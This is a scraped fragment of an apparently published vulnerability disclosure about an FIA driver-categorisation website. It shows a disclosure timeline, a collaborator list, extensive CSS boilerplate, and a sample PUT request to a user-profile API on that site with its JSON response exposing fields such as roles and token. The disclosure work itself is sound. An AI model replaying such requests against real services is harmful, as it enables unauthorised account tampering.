data-full-size="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/public" data-lightbox-src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/public" style="display:contents"><img alt="image" loading="lazy" width="709.8828125" height="147.16537196754882" decoding="async" data-nimg="1" style="color:transparent;object-fit:contain;object-position:center;height:auto" sizes="(max-width: 546px) 100vw, 100vw" srcSet="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 640w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 750w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 828w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 1080w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 1200w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 1920w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 2048w, https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down 3840w" src="https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/w=1920,quality=90,fit=scale-down"/></span></div><span class="notion-heading__anchor" id="2843b9a56b2b800bafbfde7ba90e9f96"></span><h3 id="block-2843b9a56b2b800bafbfde7ba90e9f96" class="notion-heading notion-semantic-string">Disclosure timeline</h3><ul class="notion-bulleted-list"><li id="block-2843b9a56b2b80d0acdbc56f4201c6be" class="notion-list-item notion-semantic-string">06/03/2025: Initial disclosure to FIA via email and Linkedin</li><li id="block-2843b9a56b2b808099f5ca0414a077d7" class="notion-list-item notion-semantic-string">06/03/2025: Initial response from FIA, site taken offline</li><li id="block-2843b9a56b2b8079bafbf0c0ef6a69cf" class="notion-list-item notion-semantic-string">06/10/2025: Official response from FIA informing us of a comprehensive fix</li><li id="block-2843b9a56b2b80e197a6ecee1b918f07" class="notion-list-item notion-semantic-string">10/22/2025: Release of blog post, public disclosure</li></ul><span class="notion-heading__anchor" id="2933b9a56b2b807c80efe36700d9d249"></span><h2 id="block-2933b9a56b2b807c80efe36700d9d249" class="notion-heading notion-semantic-string">Collaborators</h2><ul class="notion-bulleted-list"><li id="block-2953b9a56b2b80858241cb0c13079977" class="notion-list-item notion-semantic-string">Ian Carroll (<a href="https://x.com/iangcarroll" class="notion-link link" target="_blank" rel="noopener noreferrer">https://x.com/iangcarroll</a>)</li><li id="block-2953b9a56b2b80479191c2f5e55585fd" class="notion-list-item notion-semantic-string">Sam Curry (<a href="https://x.com/samwcyo" class="notion-link link" target="_blank" rel="noopener noreferrer">https://x.com/samwcyo</a>) </li><li id="block-2953b9a56b2b80889324c0154dcb5ce7" class="notion-list-item notion-semantic-string">Gal Nagli (<a href="https://x.com/galnagli" class="notion-link link" target="_blank" rel="noopener noreferrer">https://x.com/galnagli</a>)</li></ul></article></main><style> 158 html { 159 font-size: 16px; 160 } 161 162 163 </style><!--$--><!--/$--></div></div><style> 164 165 :root { 166 --color-text-default: rgb(55, 53, 47); 167 --color-text-default-light: rgba(55, 53, 47, 0.6); 168 --color-text-gray: rgb(155, 154, 151); 169 --color-text-brown: rgb(100, 71, 58); 170 --color-text-orange: rgb(217, 115, 13); 171 --color-text-yellow: rgb(223, 171, 1); 172 --color-text-green: rgb(15, 123, 108); 173 --color-text-blue: rgb(11, 110, 153); 174 --color-text-purple: rgb(105, 64, 165); 175 --color-text-pink: rgb(173, 26, 114); 176 --color-text-red: rgb(224, 62, 62); 177 178 --color-bg-default: rgb(255, 255, 255); 179 --color-bg-gray: rgb(235, 236, 237); 180 --color-bg-brown: rgb(233, 229, 227); 181 --color-bg-orange: rgb(250, 235, 221); 182 --color-bg-yellow: rgb(251, 243, 219); 183 --color-bg-green: rgb(221, 237, 234); 184 --color-bg-blue: rgb(221, 235, 241); 185 --color-bg-purple: rgb(234, 228, 242); 186 --color-bg-pink: rgb(244, 223, 235); 187 --color-bg-red: rgb(251, 228, 228); 188 189 --color-bg-gray-light: rgba(235, 236, 237, 0.3); 190 --color-bg-brown-light: rgba(233, 229, 227, 0.3); 191 --color-bg-orange-light: rgba(250, 235, 221, 0.3); 192 --color-bg-yellow-light: rgba(251, 243, 219, 0.3); 193 --color-bg-green-light: rgba(221, 237, 234, 0.3); 194 --color-bg-blue-light: rgba(221, 235, 241, 0.3); 195 --color-bg-purple-light: rgba(234, 228, 242, 0.3); 196 --color-bg-pink-light: rgba(244, 223, 235, 0.3); 197 --color-bg-red-light: rgba(251, 228, 228, 0.3); 198 199 --color-pill-default: rgba(206, 205, 202, 0.5); 200 --color-pill-gray: rgba(155, 154, 151, 0.4); 201 --color-pill-brown: rgba(140, 46, 0, 0.2); 202 --color-pill-orange: rgba(245, 93, 0, 0.2); 203 --color-pill-yellow: rgba(233, 168, 0, 0.2); 204 --color-pill-green: rgba(0, 135, 107, 0.2); 205 --color-pill-blue: rgba(0, 120, 223, 0.2); 206 --color-pill-purple: rgba(103, 36, 222, 0.2); 207 --color-pill-pink: rgba(221, 0, 129, 0.2); 208 --color-pill-red: rgba(255, 0, 26, 0.2); 209 210 --color-ui-hover-bg: rgba(239, 239, 239); 211 --color-card-bg: rgb(255, 255, 255); 212 --color-checkbox-bg: rgb(46, 170, 220);; 213 --color-border-default: rgba(235, 236, 237, 0.8); 214 --color-border-dark: rgba(55, 53, 47, 0.16); 215 --color-code-bg: rgba(239, 239, 239); 216 217 /*Scrollbar*/ 218 --scrollbar-background-color: #fafafa; 219 --scrollbar-thumb-color: #c1c1c1; 220 --scrollbar-border-color: #e8e8e8; 221 222 --navbar-text-color: var(--color-text-default); 223 --navbar-background-color: var(--color-bg-default); 224 --navbar-button-text-color: var(--color-text-default); 225 --navbar-button-background-color: var(--color-bg-default); 226 --navbar-menu-background-color: var(--navbar-background-color); 227 228 --footer-text-color: var(--color-text-default); 229 --footer-background-color: var(--color-bg-default); 230 --color-calendar-weekend-bg: #f7f6f3; 231 } 232 233 234 /** 235 * One Light theme for prism.js 236 * Based on Atom's One Light theme: https://github.com/atom/atom/tree/master/packages/one-light-syntax 237 */ 238 239 /** 240 * One Light colours (accurate as of commit eb064bf on 19 Feb 2021) 241 * From colors.less 242 * --mono-1: hsl(230, 8%, 24%); 243 * --mono-2: hsl(230, 6%, 44%); 244 * --mono-3: hsl(230, 4%, 64%) 245 * --hue-1: hsl(198, 99%, 37%); 246 * --hue-2: hsl(221, 87%, 60%); 247 * --hue-3: hsl(301, 63%, 40%); 248 * --hue-4: hsl(119, 34%, 47%); 249 * --hue-5: hsl(5, 74%, 59%); 250 * --hue-5-2: hsl(344, 84%, 43%); 251 * --hue-6: hsl(35, 99%, 36%); 252 * --hue-6-2: hsl(35, 99%, 40%); 253 * --syntax-fg: hsl(230, 8%, 24%); 254 * --syntax-bg: hsl(230, 1%, 98%); 255 * --syntax-gutter: hsl(230, 1%, 62%); 256 * --syntax-guide: hsla(230, 8%, 24%, 0.2); 257 * --syntax-accent: hsl(230, 100%, 66%); 258 * From syntax-variables.less 259 * --syntax-selection-color: hsl(230, 1%, 90%); 260 * --syntax-gutter-background-color-selected: hsl(230, 1%, 90%); 261 * --syntax-cursor-line: hsla(230, 8%, 24%, 0.05); 262 */ 263 264 html.theme-light code[class*="language-"], 265 html.theme-light pre[class*="language-"] { 266 color: hsl(230, 8%, 24%);
267 font-family: "Fira Code", "Fira Mono", Menlo, Consolas, "DejaVu Sans Mono", monospace; 268 direction: ltr; 269 text-align: left; 270 white-space: pre; 271 word-spacing: normal; 272 word-break: normal; 273 line-height: 1.5; 274 -moz-tab-size: 2; 275 -o-tab-size: 2; 276 tab-size: 2; 277 -webkit-hyphens: none; 278 -moz-hyphens: none; 279 -ms-hyphens: none; 280 hyphens: none; 281 } 282 283 /* Selection */ 284 html.theme-light code[class*="language-"]::-moz-selection, 285 html.theme-light code[class*="language-"] *::-moz-selection, 286 html.theme-light pre[class*="language-"] *::-moz-selection { 287 background: hsl(230, 1%, 90%); 288 color: inherit; 289 } 290 291 html.theme-light code[class*="language-"]::selection, 292 html.theme-light code[class*="language-"] *::selection, 293 html.theme-light pre[class*="language-"] *::selection { 294 background: hsl(230, 1%, 90%); 295 color: inherit; 296 } 297 298 /* Code blocks */ 299 html.theme-light pre[class*="language-"] { 300 padding: 1em; 301 margin: 0.5em 0; 302 overflow: auto; 303 border-radius: 0.3em; 304 } 305 306 /* Inline code */ 307 html.theme-light :not(pre) > code[class*="language-"] { 308 padding: 0.2em 0.3em; 309 border-radius: 0.3em; 310 white-space: normal; 311 } 312 313 html.theme-light .token.comment, 314 html.theme-light .token.prolog, 315 html.theme-light .token.cdata { 316 color: hsl(230, 4%, 64%); 317 } 318 319 html.theme-light .token.doctype, 320 html.theme-light .token.punctuation, 321 html.theme-light .token.entity { 322 color: hsl(230, 8%, 24%); 323 } 324 325 html.theme-light .token.attr-name, 326 html.theme-light .token.class-name, 327 html.theme-light .token.boolean, 328 html.theme-light .token.constant, 329 html.theme-light .token.number, 330 html.theme-light .token.atrule { 331 color: hsl(35, 99%, 36%); 332 } 333 334 html.theme-light .token.keyword { 335 color: hsl(301, 63%, 40%); 336 } 337 338 html.theme-light .token.property, 339 html.theme-light .token.tag, 340 html.theme-light .token.symbol, 341 html.theme-light .token.deleted, 342 html.theme-light .token.important { 343 color: hsl(5, 74%, 59%); 344 } 345 346 html.theme-light .token.selector, 347 html.theme-light .token.string, 348 html.theme-light .token.char, 349 html.theme-light .token.builtin, 350 html.theme-light .token.inserted, 351 html.theme-light .token.regex, 352 html.theme-light .token.attr-value, 353 html.theme-light .token.attr-value > .token.punctuation { 354 color: hsl(119, 34%, 47%); 355 } 356 357 html.theme-light .token.variable, 358 html.theme-light .token.operator, 359 html.theme-light .token.function { 360 color: hsl(221, 87%, 60%); 361 } 362 363 html.theme-light .token.url { 364 color: hsl(198, 99%, 37%); 365 } 366 367 /* HTML overrides */ 368 html.theme-light .token.attr-value > .token.punctuation.attr-equals, 369 html.theme-light .token.special-attr > .token.attr-value > .token.value.css { 370 color: hsl(230, 8%, 24%); 371 } 372 373 /* CSS overrides */ 374 html.theme-light .language-css .token.selector { 375 color: hsl(5, 74%, 59%); 376 } 377 378 html.theme-light .language-css .token.property { 379 color: hsl(230, 8%, 24%); 380 } 381 382 html.theme-light .language-css .token.function, 383 html.theme-light .language-css .token.url > .token.function { 384 color: hsl(198, 99%, 37%); 385 } 386 387 html.theme-light .language-css .token.url > .token.string.url { 388 color: hsl(119, 34%, 47%); 389 } 390 391 html.theme-light .language-css .token.important, 392 html.theme-light .language-css .token.atrule .token.rule { 393 color: hsl(301, 63%, 40%); 394 } 395 396 /* JS overrides */ 397 html.theme-light .language-javascript .token.operator { 398 color: hsl(301, 63%, 40%); 399 } 400 401 html.theme-light .language-javascript .token.template-string > .token.interpolation > .token.interpolation-punctuation.punctuation { 402 color: hsl(344, 84%, 43%); 403 } 404 405 /* JSON overrides */ 406 html.theme-light .language-json .token.operator { 407 color: hsl(230, 8%, 24%); 408 } 409 410 html.theme-light .language-json .token.null.keyword { 411 color: hsl(35, 99%, 36%); 412 } 413 414 /* MD overrides */ 415 html.theme-light .language-markdown .token.url, 416 html.theme-light .language-markdown .token.url > .token.operator, 417 html.theme-light .language-markdown .token.url-reference.url > .token.string { 418 color: hsl(230, 8%, 24%); 419 } 420 421 html.theme-light .language-markdown .token.url > .token.content { 422 color: hsl(221, 87%, 60%); 423 } 424 425 html.theme-light .language-markdown .token.url > .token.url, 426 html.theme-light .language-markdown .token.url-reference.url { 427 color: hsl(198, 99%, 37%); 428 } 429 430 html.theme-light .language-markdown .token.blockquote.punctuation, 431 html.theme-light .language-markdown .token.hr.punctuation { 432 color: hsl(230, 4%, 64%); 433 font-style: italic; 434 } 435 436 html.theme-light .language-markdown .token.code-snippet { 437 color: hsl(119, 34%, 47%); 438 } 439 440 html.theme-light .language-markdown .token.bold .token.content { 441 color: hsl(35, 99%, 36%); 442 } 443 444 html.theme-light .language-markdown .token.italic .token.content { 445 color: hsl(301, 63%, 40%); 446 } 447 448 html.theme-light .language-markdown .token.strike .token.content, 449 html.theme-light .language-markdown .token.strike .token.punctuation, 450 html.theme-light .language-markdown .token.list.punctuation, 451 html.theme-light .language-markdown .token.title.important > .token.punctuation { 452 color: hsl(5, 74%, 59%); 453 } 454 455 /* General */ 456 html.theme-light .token.bold { 457 font-weight: bold; 458 } 459 460 html.theme-light .token.comment, 461 html.theme-light .token.italic { 462 font-style: italic; 463 } 464 465 html.theme-light .token.entity { 466 cursor: help; 467 } 468 469 html.theme-light .token.namespace { 470 opacity: 0.8; 471 } 472 473 /* Plugin overrides */
474 /* Selectors should have higher specificity than those in the plugins' default stylesheets */ 475 476 /* Show Invisibles plugin overrides */ 477 html.theme-light .token.token.tab:not(:empty):before, 478 html.theme-light .token.token.cr:before, 479 html.theme-light .token.token.lf:before, 480 html.theme-light .token.token.space:before { 481 color: hsla(230, 8%, 24%, 0.2); 482 } 483 484 /* Toolbar plugin overrides */ 485 /* Space out all buttons and move them away from the right edge of the code block */ 486 html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item { 487 margin-right: 0.4em; 488 } 489 490 /* Styling the buttons */ 491 html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > button, 492 html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > a, 493 html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > span { 494 background: hsl(230, 1%, 90%); 495 color: hsl(230, 6%, 44%); 496 padding: 0.1em 0.4em; 497 border-radius: 0.3em; 498 } 499 500 html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > button:hover, 501 html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > button:focus, 502 html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > a:hover, 503 html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > a:focus, 504 html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > span:hover, 505 html.theme-light div.code-toolbar > .toolbar.toolbar > .toolbar-item > span:focus { 506 background: hsl(230, 1%, 78%); /* custom: darken(--syntax-bg, 20%) */ 507 color: hsl(230, 8%, 24%); 508 } 509 510 /* Line Highlight plugin overrides */ 511 /* The highlighted line itself */ 512 html.theme-light .line-highlight.line-highlight { 513 background: hsla(230, 8%, 24%, 0.05); 514 } 515 516 /* Default line numbers in Line Highlight plugin */ 517 html.theme-light .line-highlight.line-highlight:before, 518 html.theme-light .line-highlight.line-highlight[data-end]:after { 519 background: hsl(230, 1%, 90%); 520 color: hsl(230, 8%, 24%); 521 padding: 0.1em 0.6em; 522 border-radius: 0.3em; 523 box-shadow: 0 2px 0 0 rgba(0, 0, 0, 0.2); /* same as Toolbar plugin default */ 524 } 525 526 /* Hovering over a linkable line number (in the gutter area) */ 527 /* Requires Line Numbers plugin as well */ 528 html.theme-light pre[id].linkable-line-numbers.linkable-line-numbers span.line-numbers-rows > span:hover:before { 529 background-color: hsla(230, 8%, 24%, 0.05); 530 } 531 532 /* Line Numbers and Command Line plugins overrides */ 533 /* Line separating gutter from coding area */ 534 html.theme-light .line-numbers.line-numbers .line-numbers-rows, 535 html.theme-light .command-line .command-line-prompt { 536 border-right-color: hsla(230, 8%, 24%, 0.2); 537 } 538 539 /* Stuff in the gutter */ 540 html.theme-light .line-numbers .line-numbers-rows > span:before, 541 html.theme-light .command-line .command-line-prompt > span:before { 542 color: hsl(230, 1%, 62%); 543 } 544 545 /* Match Braces plugin overrides */ 546 /* Note: Outline colour is inherited from the braces */ 547 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-1, 548 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-5, 549 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-9 { 550 color: hsl(5, 74%, 59%); 551 } 552 553 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-2, 554 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-6, 555 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-10 { 556 color: hsl(119, 34%, 47%); 557 } 558 559 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-3, 560 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-7, 561 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-11 { 562 color: hsl(221, 87%, 60%); 563 } 564 565 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-4, 566 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-8, 567 html.theme-light .rainbow-braces .token.token.punctuation.brace-level-12 { 568 color: hsl(301, 63%, 40%); 569 } 570 571 /* Diff Highlight plugin overrides */ 572 /* Taken from https://github.com/atom/github/blob/master/styles/variables.less */ 573 html.theme-light pre.diff-highlight > code .token.token.deleted:not(.prefix), 574 html.theme-light pre > code.diff-highlight .token.token.deleted:not(.prefix) { 575 background-color: hsla(353, 100%, 66%, 0.15); 576 } 577 578 html.theme-light pre.diff-highlight > code .token.token.deleted:not(.prefix)::-moz-selection, 579 html.theme-light pre.diff-highlight > code .token.token.deleted:not(.prefix) *::-moz-selection, 580 html.theme-light pre > code.diff-highlight .token.token.deleted:not(.prefix)::-moz-selection, 581 html.theme-light pre > code.diff-highlight .token.token.deleted:not(.prefix) *::-moz-selection { 582 background-color: hsla(353, 95%, 66%, 0.25); 583 } 584 585 html.theme-light pre.diff-highlight > code .token.token.deleted:not(.prefix)::selection, 586 html.theme-light pre.diff-highlight > code .token.token.deleted:not(.prefix) *::selection, 587 html.theme-light pre > code.diff-highlight .token.token.deleted:not(.prefix)::selection, 588 html.theme-light pre > code.diff-highlight .token.token.deleted:not(.prefix) *::selection { 589 background-color: hsla(353, 95%, 66%, 0.25); 590 } 591 592 html.theme-light pre.diff-highlight > code .token.token.inserted:not(.prefix), 593 html.theme-light pre > code.diff-highlight .token.token.inserted:not(.prefix) { 594 background-color: hsla(137, 100%, 55%, 0.15); 595 } 596 597 html.theme-light pre.diff-highlight > code .token.token.inserted:not(.prefix)::-moz-selection, 598 html.theme-light pre.diff-highlight > code .token.token.inserted:not(.prefix) *::-moz-selection, 599 html.theme-light pre > code.diff-highlight .token.token.inserted:not(.prefix)::-moz-selection, 600 html.theme-light pre > code.diff-highlight .token.token.inserted:not(.prefix) *::-moz-selection { 601 background-color: hsla(135, 73%, 55%, 0.25); 602 } 603 604 html.theme-light pre.diff-highlight > code .token.token.inserted:not(.prefix)::selection, 605 html.theme-light pre.diff-highlight > code .token.token.inserted:not(.prefix) *::selection, 606 html.theme-light pre > code.diff-highlight .token.token.inserted:not(.prefix)::selection, 607 html.theme-light pre > code.diff-highlight .token.token.inserted:not(.prefix) *::selection { 608 background-color: hsla(135, 73%, 55%, 0.25); 609 } 610 611 /* Previewers plugin overrides */ 612 /* Based on https://github.com/atom-community/atom-ide-datatip/blob/master/styles/atom-ide-datatips.less and https://github.com/atom/atom/blob/master/packages/one-light-ui */ 613 /* Border around popup */ 614 html.theme-light .prism-previewer.prism-previewer:before, 615 html.theme-light .prism-previewer-gradient.prism-previewer-gradient div { 616 border-color: hsl(0, 0, 95%); 617 } 618 619 /* Angle and time should remain as circles and are hence not included */ 620 html.theme-light .prism-previewer-color.prism-previewer-color:before, 621 html.theme-light .prism-previewer-gradient.prism-previewer-gradient div, 622 html.theme-light .prism-previewer-easing.prism-previewer-easing:before { 623 border-radius: 0.3em; 624 } 625 626 /* Triangles pointing to the code */ 627 html.theme-light .prism-previewer.prism-previewer:after { 628 border-top-color: hsl(0, 0, 95%); 629 } 630 631 html.theme-light .prism-previewer-flipped.prism-previewer-flipped.after { 632 border-bottom-color: hsl(0, 0, 95%); 633 } 634
635 /* Background colour within the popup */ 636 html.theme-light .prism-previewer-angle.prism-previewer-angle:before, 637 html.theme-light .prism-previewer-time.prism-previewer-time:before, 638 html.theme-light .prism-previewer-easing.prism-previewer-easing { 639 background: hsl(0, 0%, 100%); 640 } 641 642 /* For angle, this is the positive area (eg. 90deg will display one quadrant in this colour) */ 643 /* For time, this is the alternate colour */ 644 html.theme-light .prism-previewer-angle.prism-previewer-angle circle, 645 html.theme-light .prism-previewer-time.prism-previewer-time circle { 646 stroke: hsl(230, 8%, 24%); 647 stroke-opacity: 1; 648 } 649 650 /* Stroke colours of the handle, direction point, and vector itself */ 651 html.theme-light .prism-previewer-easing.prism-previewer-easing circle, 652 html.theme-light .prism-previewer-easing.prism-previewer-easing path, 653 html.theme-light .prism-previewer-easing.prism-previewer-easing line { 654 stroke: hsl(230, 8%, 24%); 655 } 656 657 /* Fill colour of the handle */ 658 html.theme-light .prism-previewer-easing.prism-previewer-easing circle { 659 fill: transparent; 660 } 661 662 663 664 :root { 665 /* Layout */ 666 --padding-layout: 0.6rem; 667 --border-radii-layout: 5px; 668 --border-thickness-layout: 1px; 669 --border-type-layout: solid; 670 --border-layout: var(--border-thickness-layout) 671 var(--border-type-layout) var(--color-border-default); 672 --layout-max-width: 900px; 673 --column-spacing: 46px; 674 --page-display: flex; 675 --padding-right: calc(env(safe-area-inset-right) + 96px); 676 --padding-left: calc(env(safe-area-inset-left) + 96px); 677 --padding-right-mobile: calc(env(safe-area-inset-right) + 24px); 678 --padding-left-mobile: calc(env(safe-area-inset-left) + 24px); 679 /* Header */ 680 --header-cover-height: 30vh; 681 --header-title-align: start; 682 --header-icon-align: -112px auto auto auto; 683 --header-display: block; 684 /* Collection header */ 685 --collection-header-border: var(--border-layout); 686 /* Collection table */ 687 --collection-table-cell-padding: calc(var(--padding-layout) - 0.3rem) 688 calc(var(--padding-layout) - 0.1rem); 689 /* Collection list */ 690 --collection-list-item-padding: calc(var(--padding-layout) - 0.5rem); 691 --collection-list-item-border-radii: calc( 692 var(--border-radii-layout) - 1px 693 ); 694 /* Collection card */ 695 --collection-card-padding: 0px; 696 --collection-card-title-padding: 0px; 697 --collection-card-content-padding: var(--padding-layout); 698 --collection-card-border-radii: var(--border-radii-layout); 699 --collection-card-gap: 10px; 700 --collection-card-shadow: rgba(15, 15, 15, 0.1) 0px 0px 0px 1px, rgba(15, 15, 15, 0.1) 0px 2px 4px; 701 --collection-card-title-size: 0.875rem; 702 --collection-card-cover-height-small: 128px; 703 --collection-card-cover-size-small: 172px; 704 --collection-card-cover-height-medium: 200px; 705 --collection-card-cover-size-medium: 260px; 706 --collection-card-cover-height-large: 200px; 707 --collection-card-cover-size-large: 320px; 708 --collection-card-icon-display: inline-flex; 709 /* Callout */ 710 --callout-padding: calc(var(--padding-layout) + 0.4rem) 711 calc(var(--padding-layout) + 0.4rem) 712 calc(var(--padding-layout) + 0.4rem) 713 calc(var(--padding-layout) + 0.1em); 714 --callout-border-radii: calc(var(--border-radii-layout) - 2px); 715 --callout-border: var(--border-layout); 716 --callout-icon-display: block; 717 --callout-shadow: none; 718 /* File */ 719 --file-border-radii: calc(var(--border-radii-layout) - 2px); 720 /* Equation */ 721 --equation-border-radii: calc(var(--border-radii-layout) - 2px); 722 /* Divider */ 723 --divider-border: var(--border-layout); 724 /* Quote */ 725 --quote-border: calc(var(--border-thickness-layout) + 2px) solid 726 currentcolor; 727 /* Code */ 728 --code-padding: calc(var(--padding-layout) + 1.4rem); 729 --code-border-radii: var(--border-radii-layout); 730 /* Tweet */ 731 --tweet-padding: calc(var(--padding-layout) + 0.65rem) 732 calc(var(--padding-layout) + 0.65rem) 733 calc(var(--padding-layout) + 0.05rem) 734 calc(var(--padding-layout) + 0.65rem); 735 --tweet-border-radii: var(--border-radii-layout); 736 --tweet-border: var(--border-layout); 737 /* Bookmark */ 738 --bookmark-padding: calc(var(--padding-layout) + 0.15rem) 0p
738x 739 calc(var(--padding-layout) + 0.025rem) 740 calc(var(--padding-layout) + 0.275rem); 741 --bookmark-border-radii: var(--border-radii-layout); 742 --bookmark-border: var(--border-layout); 743 --bookmark-image-border-radii: 0px 744 calc(var(--border-radii-layout) - 1px) 745 calc(var(--border-radii-layout) - 1px) 0px; 746 /* Embed */ 747 --embed-border-radii: calc(var(--border-radii-layout) - 5px); 748 /* Image */ 749 --image-border-radii: calc(var(--border-radii-layout) - 5px); 750 /* Typography */ 751 --title-size: 2.5rem; 752 --quote-size: 1.2rem; 753 --quote-size-large: 1.4rem; 754 --heading-size: 1rem; 755 --primary-font: Inter, Inter-fallback, Helvetica, Apple Color Emoji, 756 Segoe UI Emoji, NotoColorEmoji, Noto Color Emoji, 757 Segoe UI Symbol, Android Emoji, EmojiSymbols, -apple-system, 758 BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Noto Sans, 759 sans-serif; 760 --secondary-font: Inter, Inter-fallback, Helvetica, Apple Color Emoji, 761 Segoe UI Emoji, NotoColorEmoji, Noto Color Emoji, 762 Segoe UI Symbol, Android Emoji, EmojiSymbols, -apple-system, 763 BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Noto Sans, 764 sans-serif; 765 --text-weight: normal; 766 --heading-weight: 600; 767 --heading1-size: calc(var(--heading-size) * 1.875); 768 --heading2-size: calc(var(--heading-size) * 1.5); 769 --heading3-size: calc(var(--heading-size) * 1.25); 770 --heading4-size: calc(var(--heading-size) * 1); 771 --heading5-size: calc(var(--heading-size) * 0.8125); 772 /* Scrollbars */ 773 --scrollbar-width: 15px; 774 /* Navbar */ 775 --navbar-height: 56px; 776 --navbar-shadow: ; 777 --navbar-button-border-radii: 50px; 778 --navbar-list-width-single-column: 320px; 779 --navbar-list-width: 620px; 780 /*Sidebar*/ 781 --sidebar-width: 280px; 782 --sidebar-shadow: ; 783 } 784 html { 785 scroll-padding-top: 62px; 786 } 787 body { 788 font-family: var(--secondary-font); 789 } 790 791 792 793</style>
793<script>requestAnimationFrame(function(){$RT=performance.now()});</script>
793<script src="/_next/static/chunks/2l8zr1i2h4s0n.js" id="_R_" async=""></script>
793<div hidden id="S:0"><pre class="language-json"><code class="language-json">PUT /api/users/12934 HTTP/1.1 794Host: driverscategorisation.fia.com 795User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 796Content-Length: 246 797Content-Type: application/json 798 799{ 800 "id": 12934, 801 "email": "[email protected]", 802 "firstName": "Sam", 803 "lastName": "Curry", 804 "nickName": null 805}</code></pre></div>
805<script>$RB=[];$RV=function(a){$RT=performance.now();for(var b=0;b<a.length;b+=2){var c=a[b],e=a[b+1];null!==e.parentNode&&e.parentNode.removeChild(e);var f=c.parentNode;if(f){var g=c.previousSibling,h=0;do{if(c&&8===c.nodeType){var d=c.data;if("/$"===d||"/&"===d)if(0===h)break;else h--;else"$"!==d&&"$?"!==d&&"$~"!==d&&"$!"!==d&&"&"!==d||h++}d=c.nextSibling;f.removeChild(c);c=d}while(c);for(;e.firstChild;)f.insertBefore(e.firstChild,c);g.data="$";g._reactRetry&&requestAnimationFrame(g._reactRetry)}}a.length=0}; 806$RC=function(a,b){if(b=document.getElementById(b))(a=document.getElementById(a))?(a.previousSibling.data="$~",$RB.push(a,b),2===$RB.length&&("number"!==typeof $RT?requestAnimationFrame($RV.bind(null,$RB)):(a=performance.now(),setTimeout($RV.bind(null,$RB),2300>a&&2E3<a?2300-a:$RT+300-a)))):b.parentNode.removeChild(b)};$RC("B:0","S:0")</script>
806<div hidden id="S:1"><pre class="language-json"><code class="language-json">HTTP/1.1 200 807Content-type: application/json 808Content-Length: 313 809 810{ 811 "id": 12934, 812 "email": "[email protected]", 813 "firstName": "Sam", 814 "lastName": "Curry", 815 "nickName": null, 816 "keepNamePrivate": false, 817 "nickName2": null, 818 "birthDate": "2000-02-17", 819 "gender": null, 820 "token": null, 821 "roles": null, 822 "country": null, 823 "filters": [], 824 "status": "ACTIVATED", 825 "secondaryEmail": null 826}</code></pre></div>
826<script>$RC("B:1","S:1")</script>
